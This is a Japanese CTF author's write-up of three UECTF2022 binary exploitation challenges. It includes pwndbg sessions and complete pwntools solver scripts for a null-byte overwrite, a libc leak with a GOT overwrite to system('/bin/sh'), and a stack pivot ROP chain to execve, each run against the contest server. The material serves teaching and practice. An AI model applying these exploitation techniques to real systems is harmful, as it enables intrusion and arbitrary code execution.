UECTF2022 作問者Writeup
UECTF2022で出題した問題について解説します。少し丁寧に書きました。
guess (19 Solves)
ソースコード(一部)
int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char buf[32]; char pw[32]; secret(pw); printf("Guess my password\n> "); scanf("%32s", buf); if(strncmp(pw, buf, sizeof(pw)) == 0) { puts("Correct!!!"); win(); } else { puts("Wrong."); } return 0; }
パスワードを当てることでフラグが表示されますが、普通に当てるのはほぼ不可能です。
入力の部分に注目します。
scanf("%32s", buf);
buf[32]
に対して32文字読み込んでいます。32文字入力するとどうなるでしょうか。
strncmp
にブレークポイントを張って見てみます。
pwndbg> b *main+159 Breakpoint 1 at 0x13a9 pwndbg> r Guess my password > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... ► 0x5555555553a9 <main+159> call strncmp@plt <strncmp@plt> s1: 0x7fffffffde90 ◂— 0x7361705f656b6100 s2: 0x7fffffffde70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' n: 0x20 ... pwndbg> x/s 0x7fffffffde90 0x7fffffffde90: "" pwndbg> x/s 0x7fffffffde90+1 0x7fffffffde91: "ake_password"
第一引数であるpw
の最初の1バイトが\0
で上書きされてしまっていることがわかります。
scanf
は入力の末尾に\0
を書き込みます。buf
に32文字入力することでbuf
の範囲外に\0
を書き込んでしまいます。buf
の下にはpw
があるためpw
の最初の1バイトが\0
に上書きされます。
pwndbg> x/6gx 0x7fffffffde70 0x7fffffffde70: 0x6161616161616161 0x6161616161616161 <- buf 0x7fffffffde80: 0x6161616161616161 0x6161616161616161 0x7fffffffde90: 0x7361705f656b6100 0x00000064726f7773 <- pw
strncmp
は\0
以降の比較は行わないため、以下のような入力でstrncmp
は0を返しフラグが表示されます。32文字ちょうど入力する必要があるため改行文字を無効にしています。
$ echo -en '\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc uectf.uec.tokyo 9001
flag: UECTF{Wow_are_you_Esper?}
rot13 (6 Solves)
Partial RELROでPIE無効です。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
以下の部分が脆弱です。
int index = get_num("index: "); if(index >= MAX_NUM || list[index] == NULL) { puts("Invalid!"); exit(EXIT_FAILURE); }
すべての操作でindex
を負にでき、list
の範囲外にアクセスすることができます。
libc leak
この問題ではフラグを入手するためにライブラリの関数を使う必要があります。ライブラリの関数を使うためには、ライブラリがどこのアドレスにマッピングされているのか知る必要があります。ここではGOT(Global Offset Table)を用いてライブラリがマッピングされているアドレスを特定します。
GOTには以下のように1度呼び出された後にアドレスが書き込まれます。
pwndbg> got GOT protection: Partial RELRO | GOT functions: 11 [0x404018] free@GLIBC_2.2.5 -> 0x7ffff7e666d0 (free) ◂— endbr64 [0x404020] puts@GLIBC_2.2.5 -> 0x7ffff7e50420 (puts) ◂— endbr64 [0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050 ◂— endbr64 [0x404030] printf@GLIBC_2.2.5 -> 0x7ffff7e2dc90 (printf) ◂— endbr64 [0x404038] strrchr@GLIBC_2.2.5 -> 0x401070 ◂— endbr64 [0x404040] read@GLIBC_2.2.5 -> 0x401080 ◂— endbr64 [0x404048] calloc@GLIBC_2.2.5 -> 0x7ffff7e67b10 (calloc) ◂— endbr64 [0x404050] malloc@GLIBC_2.2.5 -> 0x7ffff7e660e0 (malloc) ◂— endbr64 [0x404058] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e50ce0 (setvbuf) ◂— endbr64 [0x404060] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e2f0b0 (__isoc99_scanf) ◂— endbr64 [0x404068] exit@GLIBC_2.2.5 -> 0x4010d0 ◂— endbr64
ライブラリ内の関数のオフセットは一定のため、このうちの1つでもアドレスがわかると他の関数のアドレスもわかります。
さて、どのようにアドレスを特定するかですが、前述の脆弱性を使います。list
の範囲外を調べてみるとlist[-71]
にアドレスがあることがわかります。これはlist[-6]
のアドレスです。したがって、index=-71
としてeditで書き込みを行うとlist[-6]
に書き込まれます。
pwndbg> r name: a Hello a! 1. create 2. run 3. show 4. edit 5. exit > 4 index: -71 data: aaaaaaaa > ^C ... pwndbg> set $list=(char **)0x4052d0 pwndbg> p $list[-6] $1 = 0x6161616161616161 <error: Cannot access memory at address 0x6161616161616161>
index=-71
としてeditでGOTのアドレスを書き込み、index=-6
としてshowするとライブラリのアドレスが判明します。pwntoolsを使って書くと以下のようになります。
from pwn import * e = ELF('./chall') libc = ELF('./libc-2.31.so') ... edit(-71, p64(e.got['puts'])) show(-6) libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.symbols['puts'] print(hex(libc.address))
GOT Overwrite
ライブラリのアドレスを特定できたところでどのようにフラグを入手するかですが、system("/bin/sh")
でシェルを起動するのが手っ取り早いです。シェルを起動するためにGOT Overwriteという手法を使います。
このプログラムはPartial RELROで、GOTに書き込むことができます。GOTを書き換えることでプログラム内でその関数を呼んだ際に別の処理を実行させることができます。これと前述の脆弱性を使うことでsystem("/bin/sh")
を実行できます。
先ほどlibc leakの際にlist[-6]
にGOTのアドレスを書き込みました。この状態でindex=-6
としてeditすることでGOTに任意の値を書き込むことができます。どの関数のGOTを書き換えるのがよいでしょうか。
showに注目します。
void show() { int index = get_num("index: "); if(index >= MAX_NUM) { puts("Invalid!"); exit(EXIT_FAILURE); } puts(list[index]); }
puts
のGOTをsystem
に書き換えて、createで"/bin/sh"を作りshowすることでsystem("/bin/sh")
を実行できます。
最終的なsolverは以下のようになります。(こんな感じでtcache_perthread_struct
構造体のポインタを使うことを想定していたのですが、nameとcreateのmalloc
のサイズを同じにしてしまったため、ほとんどの人がnameの領域を再利用して解いてましたね…)
from pwn import * sendlineafter = lambda p, x, y: p.sendlineafter(x, y) sendafter = lambda p, x, y: p.sendafter(x, y) sendline = lambda p, x: p.sendline(x) send = lambda p, x: p.send(x) e = ELF('./chall') libc = ELF('./libc-2.31.so') p = remote('uectf.uec.tokyo', 9003) def create(i, data): sendlineafter(p, b'> ', b'1') sendlineafter(p, b': ', str(i).encode()) sendlineafter(p, b': ', data) def show(i): sendlineafter(p, b'> ', b'3') sendlineafter(p, b': ', str(i).encode()) def edit(i, data): sendlineafter(p, b'> ', b'4') sendlineafter(p, b': ', str(i).encode()) sendlineafter(p, b': ', data) sendlineafter(p, b': ', b'A') # libc leak edit(-71, p64(e.got['puts'])) show(-6) libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.symbols['puts'] print(hex(libc.address)) # GOT Overwrite edit(-6, p64(libc.symbols['system'])) create(0, b'/bin/sh') show(0) p.interactive()
flag: UECTF{ROT13_stands_for_ROTate_by_13_places}
buffer_overflow_2 (6 Solves)
#include <stdio.h> #include <unistd.h> void vuln() { char buf[0x60]; printf("> "); read(STDIN_FILENO, buf, 0x80); } int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); vuln(); puts("Bye!"); return 0; }
バッファオーバーフローがあります。
フラグを入手するために今回もrot13と同様にシェルの起動を目指します。
ROP (Return Oriented Programming)
バッファオーバーフローがある際はROPという手法が有効です。これはret命令を利用して任意の処理を連続して実行させる手法です。
ROPでsystem("/bin/sh")
でシェル起動といきたいところですが、このプログラムはstatically linkedです。
$ file ./chall ./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=c2b6d36ed7073f9a99218aa4d5b221ca167701e0, for GNU/Linux 3.2.0, not stripped
このような場合はsyscall命令を利用してexecve("/bin/sh", NULL, NULL)
を実行するのがいいです。これを実行するにはRAX, RDI, RSI, RDXの4つのレジスタを設定する必要があります。しかし、今回のバッファオーバーフローは0x20バイトで、リターンアドレスから考えると0x18バイトしか猶予がなく、普通には実行できません。
Stack Pivot
ここではStack Pivotという手法を紹介します。
別の領域に書き込みを行い、そこでROPする方法を考えます。vuln
関数の最後の方に注目します。
0x0000000000401d93 <+46>: call 0x450bf0 <read> 0x0000000000401d98 <+51>: nop 0x0000000000401d99 <+52>: leave 0x0000000000401d9a <+53>: ret
ret命令にブレークポイントを張ってレジスタの値を見てみます。
pwndbg> b *vuln+53 Breakpoint 1 at 0x401d9a pwndbg> r > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... RDX 0x80 RDI 0x0 RSI 0x7fffffffddc0 ... *RBP 0x6161616161616161 ('aaaaaaaa') RSP 0x7fffffffde28 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa' ...
0x20バイトのバッファオーバーフローによって、RSIに書き込み可能領域を設定し、read
を呼び出しているvuln+46
に戻ることで、指定した領域に0x80バイトの書き込みを行うことができます。また、vuln+52
にあるleave命令によって書き換えたsaved rbpの値+8がRSPの値となります。このようにRSPに任意の値を設定し、スタックを切り替える手法をStack Pivotといいます。
バッファオーバーフローによってsaved rbpを指定した領域のアドレスに書き換え、read
でROP chainをその領域に書き込むことでROPを実行できます。
solverは以下のようになります。
from pwn import * p = remote('uectf.uec.tokyo', 9002) # p = process('./chall') e = ELF('./chall') pop_rdi = 0x4018c2 pop_rdx = 0x4017cf pop_rax = 0x4516a7 pop_rsi = 0x40f20e syscall = 0x4012d3 writable = e.bss() + 0x100 payload = b'A' * 0x60 payload += p64(writable) # saved rbp payload += p64(pop_rsi) # return address payload += p64(writable) # RSI = writable payload += p64(e.symbols['vuln']+46) p.sendafter(b'> ', payload) payload = b'/bin/sh\0' # execve("/bin/sh", NULL, NULL) payload += p64(pop_rax) payload += p64(59) payload += p64(pop_rdi) payload += p64(writable) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(syscall) p.sendline(payload) p.interactive()
flag: UECTF{B3l13v3_0ur_Fu7ur3}